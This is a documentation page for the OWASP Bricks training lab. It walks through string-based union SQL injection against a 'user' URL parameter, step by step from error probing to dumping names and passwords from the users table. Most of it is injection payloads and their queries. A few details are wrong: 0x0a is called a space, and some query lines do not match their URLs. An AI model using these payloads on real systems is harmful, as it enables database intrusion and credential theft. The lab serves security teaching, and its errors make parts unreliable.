Content pages | OWASP Bricks Documentation

Content page #2

  • Content page with string input in URL
  • user parameter is prone to code injection.

Advanced SQL Injection - String based

URL: bricks/content-2/index.php?user=harry
SQL Query: SELECT * FROM users WHERE name='harry'

Here, the user parameter is accepting input through the URL of the browser. Change the input value and it will yield different output based on the input given.


URL: bricks/content-2/index.php?user=harry'
SQL Query: SELECT * FROM users WHERE name='harry''

There is no output on the page but some error messages. That means the user parameter is vulnerable to code injection and the code we inserted just broke the query. The injected code must be put in a manner that it won't break the complete SQL statement. The next step is to inject specially crafted SQL commands to verify the existence of vulnerability.


URL: bricks/content-2/index.php?user=harry' and 1='1
SQL Query: SELECT * FROM users WHERE name='harry' AND 1='1'

The page is displayed without any errors. This is because the added code is a true statement. What if the added statement was not returning a true condition?


URL: bricks/content-2/index.php?user=harry' and 1='2
SQL Query: SELECT * FROM users WHERE name='harry' AND 1='2'

Since the injected code contains an always false statement, the web page does not displays any content and is showing an error message saying that user does not exists. This proves that the code injected on to the user parameter is actually getting executed.

The injected code can be further modified to perform more advanced functions including obtaining/removing/changing confidential information. However, at the present stage, there are no clear knowledge about the database, version, tables, columns etc. So, these details has to be enumerated first. Finding the number of columns in the current database is relatively easy task.


URL: bricks/content-2/index.php?user=harry' order by 1 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 1 -- '

The page displays the content without any issues and there are no error messages.


URL: bricks/content-2/index.php?user=harry' order by 2 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 2 -- '

The page displays the content without any issues and there are no error messages. So there exists at least two columns.


URL: bricks/content-2/index.php?user=harry' order by 3 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 3 -- '

The page displays the content without any issues and there are no error messages. So there exists at least three columns.

This process has to be repeated by increasing the value till the page shows some changes in the displayed page.

.
.
.
.

URL: bricks/content-2/index.php?user=harry' order by 8 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 8 -- '

The page displays the content without any issues and there are no error messages. So there exists at least eight columns.


URL: bricks/content-2/index.php?user=harry' order by 9 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 9 -- '

This time the pages displays some error, so 9th column does not exists. This confirms that there are only 8 columns.

A union select statement has to be made accordingly to find out the columns which are vulnerable out of the 8 columns.


URL: https://localhost/demo/bricks/content-2/index.php?user=harry' UNION SELECT 1,2,3,4,5,6,7,8 --+
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 -- '

This time the page is not showing anything special rather than usual content. This is because the page is showing only the first result since it treats only the first line of the result. If that is the case, the injected code should be modified a little to make only the second line valid. There are many ways to do that.


URL: bricks/content-2/index.php ?user=harry' UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1,1 --+
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- '

Now, the page is displaying some numbers instead of the actual user details. These are the corresponding number of columns that are vulnerable.


URL: https://localhost/demo/bricks/content-2/index.php ?user=harry' UNION SELECT database(),version(),user(),4,5,6,7,8 LIMIT 1,1 --+
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8 LIMIT 1

The number 1 has been replaced by the name of the current database, which is bricks
The number 2 has been replaced by the version of the current database, which is 5.5.9-log
The number 3 has been replaced by the user name of the current database, which is root@localhost

Now, the tables on the current database has to be enumerated.


URL: bricks/content-2/index.php ?user=harry' UNION SELECT group_concat(table_name,0x0a),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database() LIMIT 1,1 --+
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT group_concat(TABLE_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.tables WHERE table_schema=database() LIMIT 1, 1 -- '

Since there is only one table in the bricks database, that information is displayed. Next objective is to find out the columns in the users.


URL: bricks/content-2/index.php ?user=harry' UNION SELECT group_concat(column_name,0x0a),2,3,4,5,6,7,8 from information_schema.columns where table_name='users' LIMIT 1,1 --+
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT group_concat(COLUMN_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.columns WHERE TABLE_NAME='users' LIMIT 1, 1 -- '

Since we are making use of group_concat(), all the column names are diplayed on screen. Column names are: idusers, name, email, password, ua, ref, host, lang. The name and password are the most interesting columns. So, the next injected code should be for dumping the data from those columns. 0x0a represents a space and is put there to make is easy to differentiate between the names of columns.


URL: bricks/content-2/index.php ?user=harry' UNION SELECT group_concat(name,0x0a,password),2,3,4,5,6,7,8 from users LIMIT 1,1 --+
SQL Query: bricks/content-2/index.php ?USER=harry' UNION SELECT group_concat(name,0x0a,password), 2, 3, 4, 5, 6, 7, 8 FROM users LIMIT 1, 1 --+

This fetches all names and passwords from the users table. 0x0a represents a space and is put there to make is easy to differentiate between the username and password.